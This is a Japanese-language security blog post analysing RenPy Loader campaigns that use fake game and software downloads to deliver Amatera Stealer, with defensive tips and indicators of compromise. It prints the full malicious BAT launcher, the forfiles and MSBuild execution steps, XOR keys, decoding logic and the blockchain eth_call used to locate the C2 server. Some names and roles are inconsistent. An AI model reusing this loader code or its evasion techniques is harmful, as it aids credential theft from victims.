私たちは、ゲーム、Mod、クラック版、ソフトウェアの偽ダウンロードを利用してRenPy Loaderを拡散する複数のキャンペーンを検出しました。このローダーはインストールされると、MSBuildとEtherHidingという手法を悪用する複雑な多段階の感染チェーンを開始し、最終的にAmatera Stealerを配信します。
Amateraは情報窃取マルモルウェア(インフォスティーラー)、すなわち感染端末から機密情報を盗み出すために設計されたマルウェアの一種です。ブラウザやその他の保存場所に格納されたパスワード、暗号資産ウォレット、ブラウザ拡張機能、メッセージングアプリ、ローカルファイルなどを標的にできます。盗まれた認証情報やセッションデータによって、攻撃者が被害者のオンラインアカウントにアクセスできるようになる可能性もあります。
被害者には一見普通のゲームやソフトウェアのインストーラーが表示されますが、その裏側ではマルウェアが密かに動作しています。
RenPy Loader(RenEngine Loaderとも呼ばれます)が特に興味深いのは、ビジュアルノベルやストーリー重視のゲーム、インタラクティブフィクションの制作に使われる正規のエンジン「Ren’Py」を悪用している点です。ゲームに関連するソフトウェアの中に悪意のあるコードを隠すことで、攻撃者はゲームやMod、クラック版ソフトウェアを探しているユーザーに対して、ダウンロードをより信憑性の高いものに見せかけることができます。
私たちはこれまでにも、攻撃者がBunやDenoといった、正規の開発ツールや新興のソフトウェアフレームワークを悪用してマルウェアを配布する事例を確認してきました。RenPy Loaderも同じパターンをたどっており、攻撃者は正規技術を悪用することで悪意ある活動を偽装し、感染チェーンを複雑化させ、検知をより困難にしています。
RenPy Loaderは、HijackLoaderやLumma Stealerなど他のマルウェアを配信する事例も確認されており、最終的なペイロードがキャンペーンによって異なることを示しています。
本ブログでは、Ren’PyがBATファイルと複数のMSBuildプロジェクトファイルを含むZIPアーカイブを復号する感染チェーンを分析します。これらのファイルはトロイの木馬化された.NETコンポーネントを読み込み、そのコンポーネントがさらに別の悪意あるコンポーネントをデコードします。
この悪意あるコンポーネントは、EtherHidingと呼ばれる手法を使ってコマンド&コントロール(C2)サーバーの所在を特定します。C2アドレスをマルウェア内に直接埋め込む代わりに、攻撃者は公開ブロックチェーン上に保存されたデータの中にそれを隠しています。マルウェアはそのサーバーから攻撃の次の段階をダウンロードするため、攻撃者のインフラを特定・遮断することがより難しくなります。
最後に、最終的にAmatera Stealerを復号・実行する追加のペイロードについて検証します。
偽ダウンロードが端末を感染させる仕組み
感染は、ユーザーが偽のゲームやMod、クラック版、ソフトウェアをダウンロードすることから始まります。私たちは、悪意あるファイルが以下の経路で配布されているのを確認しました。
- 偽のダウンロードサイト
- itch.ioのページ
- Wormhole、GoFile、Google Drive、MEGAなどのファイル共有サービス
感染チェーンの起点となった検出済みページの例を以下に示します。
いくつかのケースでは、ダウンロードリンクをクリックすると別の偽ダウンロードサイトにリダイレクトされました。これらのページはそれぞれ異なるデザインと架空のサービス名を使用しており、キャンペーンが単調に見えるのを避けつつ、悪意あるインフラを識別しにくくしています。
以下は、悪意あるアーカイブの配布に使われた偽ダウンロードページの例です。
ユーザーはSetup.exeという名前のファイルを含むアーカイブをダウンロードします。このファイルを開くと感染チェーンが始まります。


被害者にはローディング画面やインストール画面が表示されますが、その裏では悪意あるコードが動作しています。

安全を保つために
いくつかの対策を講じることで、悪意あるゲームやソフトウェアをダウンロードしてしまうリスクを減らせます。
- ゲームやソフトウェアは公式サイト、信頼できるアプリストア、確立された配布プラットフォームからダウンロードすること。
- クラック版ソフトウェア、非公式のMod、有料ゲームの無料版には注意すること。
- ダウンロードリンクが複数の見慣れないサイトやファイル共有サービスを経由してリダイレクトされる場合は警戒すること。
Setup.exeのような実行ファイルを開く前に、ダウンロードしたアーカイブの中身を確認すること。- 不審なファイル名、無関係な画像やテキストファイル、意図したダウンロード内容と一致しないコンテンツがないか確認すること。
- Malwarebytesのようなリアルタイム型のアンチマルウェアソフトウェアを使用すること。
- OS、ブラウザ、セキュリティソフトウェアを常に最新の状態に保つこと。
これらのキャンペーンの背後にいる攻撃者は、絶えず新しいウェブサイトを作成し、ダウンロードページを変更し続けています。見た目がプロフェッショナルなインストーラーや馴染みのあるファイル共有サービスであっても、そのダウンロードが安全であるとは限りません。
RenPy Loaderの技術分析
Ren’Pyは、ビジュアルノベルやストーリー重視のゲーム、インタラクティブフィクションを制作するための無料かつオープンソースのエンジンです。Ren’PyはPythonスクリプトの統合を可能にしており、攻撃者はこれを悪用して悪意あるコードを挿入します。
今回のケースでは、以下のファイルおよびパスに悪意あるコードを発見しました。
|
パス |
説明 |
|---|---|
|
|
アンチサンドボックスクラス |
|
|
ローダー |
|
|
XOR暗号化された設定情報 |
|
|
XOR暗号化されたZIP |
libwin32.rpaから抽出される第1段階のローダーは、以下の処理を実行します。
- 設定ファイル
data/.GEgを読み込み、Base64デコードとキー81034149cd6f48c8821340204f92766eによるXORを用いて復号します。この設定情報には、ZIPの展開に使うパスワードや、ローダーが使用するその他の設定データが含まれています。 sys_config.is_sandboxed()を呼び出し、サンドボックスが検出された場合は終了します。- キー
A50YyY1を使ってdata/j3lpTcg7kBRN.E3をXOR復号し、ZIPを取得します。 - ZIPの中身を
%TEMP%/tmp-{5桁の数字}-{12文字}というランダムなフォルダに展開し、:Zone.Identifierという代替データストリーム(ADS)にZoneId=0を書き込むことでMark of the Webを除去し、SmartScreenを回避します。また、展開されたBATファイルにランダムなREM文字列を挿入します。 forfiles.exeを使ってペイロードを起動します。- 端末のMACアドレスとキャンペーンIDを追跡用サイトに送信します。


今回のケースでは、展開されたBATファイルは以下のコマンドで実行されました。
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
BATファイルの内容:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
実行されたBATファイルは、以下の処理を行います。
- 非表示またはヘッドレスのコンソールで自身を再起動します。
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- MSBuildのプロパティ関数を有効化し、
AppDomain.CurrentDomain.Loadなど追加のメソッドを実行できるようにします。
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
Nancy.csprojをプロジェクトファイルとしてMSBuild.exeを実行します。プロジェクトの評価中、悪意あるMSBuildプロパティ関数が次段階のDLLを16進数デコードし、リフレクションによって読み込みます。
トロイの木馬化されたNancy DLLと独自バイトコード
Nancy.csprojは、抽出されたNancy.csproj.user、Internal.props、Nancy.Compile.targetsという3つのファイルをインポートします。悪意あるDLLは、これら3つのファイルに保存された値に分割されて格納されています。

Nancy.Compile.targetsはこれら3つの値を連結してDLLを16進数デコードし、AppDomain.CurrentDomain.Load.CreateInstanceを使ってDefaultEvaluator5メソッドを実行します。

興味深いのは、Nancy.csprojが二つの役割を兼ねている点です。すなわち、第1段階のローダーを実行するために使われるMSBuildプロジェクトであると同時に、ローダーによってデコードされる次段階のコードも含んでいます。
このDLLは、正規のNancy .NETライブラリをトロイの木馬化したもので、難読化された.NETローダーであり、悪意あるコードはDefaultEvaluator5クラスに実装されています。このDLLの機能の一部は、このメインメソッドによって実行される独自のバイトコードとして実装されています。

このDLLは以下の処理を実行します。
- 複数キーによるXOR復号を用いて、リソースから文字列を復号します。
- APIハッシュと
GetDelegateForFunctionPointerを使ってAPIを解決します。 - TLS証明書の検証を無効化したり、システムのデフォルトプロキシを設定したりするなど、ネットワーク設定を変更します。
- アンチフォレンジック処理を実行します。
- 前段の
Nancy.csprojファイルを指す環境変数_czzfを読み取り、それをデコードして実行します。
メインのDefaultEvaluator5メソッドは、以下のリソースに含まれる文字列を取得し、バイトコードを解釈します。
Nancy.Runtime.mvlorimu: 独自バイトコードを含みます。このバイトコードは_pvと_sroによって解釈されます。他の文字列を復号し次段階のDLLを読み込むための23個のオペコードが実装されています。Nancy.Data.tcnlhxwとNancy.Resources.kxxodp: 復号に使われる暗号化された文字列やその他のデータ(キー、長さ、インデックス、S-boxなど)を含みます。
文字列は以下のアルゴリズムで復号されます。
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
次段階のDLLであるGollopDevestは、同じNancy.csprojファイルから以下のロジックでデコードされ、AppDomain.Loadによって読み込まれます。
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

EtherHidingとAmatera Stealer
次に抽出される段階はGollopDevest.dllという名前のDLLで、これはEtherHidingという手法を使ってコマンド&コントロール(C2)サーバーを取得し、次段階をダウンロードする.NET製のダウンローダーです。
暗号化されたC2ドメインは、bsc-dataseed.binance.orgへのEthereum JSON-RPC eth_callリクエストを用いて取得されます。
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
このEtherHidingダウンローダーは、ClickFixキャンペーンを含む他のキャンペーンでも配布が確認されていることから、マルウェア・アズ・ア・サービス(MaaS)の一環である可能性が高いとみられます。
その後、さらに3つの追加ペイロードがダウンロードされます。PavinWide(アンチ解析DLL)とGollopDevest(ローダーDLL)という2つの.NET DLL、そして最終的にAmatera Stealerを復号・読み込みするC++製DLLLanoseThripです。
今回のケースでは、これらのペイロードは以下から取得されました。
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
これらの.NET DLLは、制御フローの平坦化、calli/ldftnを介した間接呼び出し、複数のアルゴリズムによる文字列暗号化、ジャンクコード、デッドコード、URLパスなどの偽の文字列を用いて厳重に難読化されています。
これらのDLLの分析は現在も継続中であり、今後のブログ記事で詳しく取り上げる予定です。
侵害指標(IOC)
ドメイン
downpro[.]net– 偽ダウンロードサイトmacisofile[.]sbs– 偽ダウンロードサイトvisitmama[.]blog– 偽ダウンロードサイトvisitmama[.]guru– 偽ダウンロードサイトgetgamerfree[.]com– 偽ダウンロードサイトfullgames[.]digital– 偽ダウンロードサイトflingbase[.]net– 偽ダウンロードサイトcitronemu[.]com– 偽ダウンロードサイトfilemodo[.]xyz– 配布インフラstorage06x[.]cfd– 配布インフラp03sil[.]cyou– 配布インフラwimsedas[.]xyz– 配布インフラagainstmor[.]store– 配布インフラhost03q[.]cfd– 配布インフラcloud01y[.]cfd– 配布インフラstorage11x[.]cfd– 配布インフラstorage04x[.]cfd– 配布インフラhost82p[.]cfd– 配布インフラcloud05y[.]cfd– 配布インフラanalyticstrack-pzh[.]click– 追跡用サイトlogin.orbitalframework[.]cc– Amatera Stealer C2
IPアドレス
144.124.251[.]171– 追加ペイロードの取得に使用195.63.140[.]33– 追加ペイロードの取得に使用78.40.196[.]252– 追加ペイロードの取得に使用
ファイルハッシュ(MD5)
29203ca123d51b1b33505a0813d360df– 第1段階のローダー(トロイの木馬化されたDLL)810F257542018BE0FC62AF542D13D012– GollopDevest DLL(ダウンローダーDLL)681DB529E402467A4B0567C82A350FC0– PavinWride DLL(アンチ解析DLL)2E116632248A7E1F8AA6BCA92D9C1C90– GollopDevest DLL(ローダーDLL)F8453EFE408CE25B9484F872797E3D63– 最終ペイロード
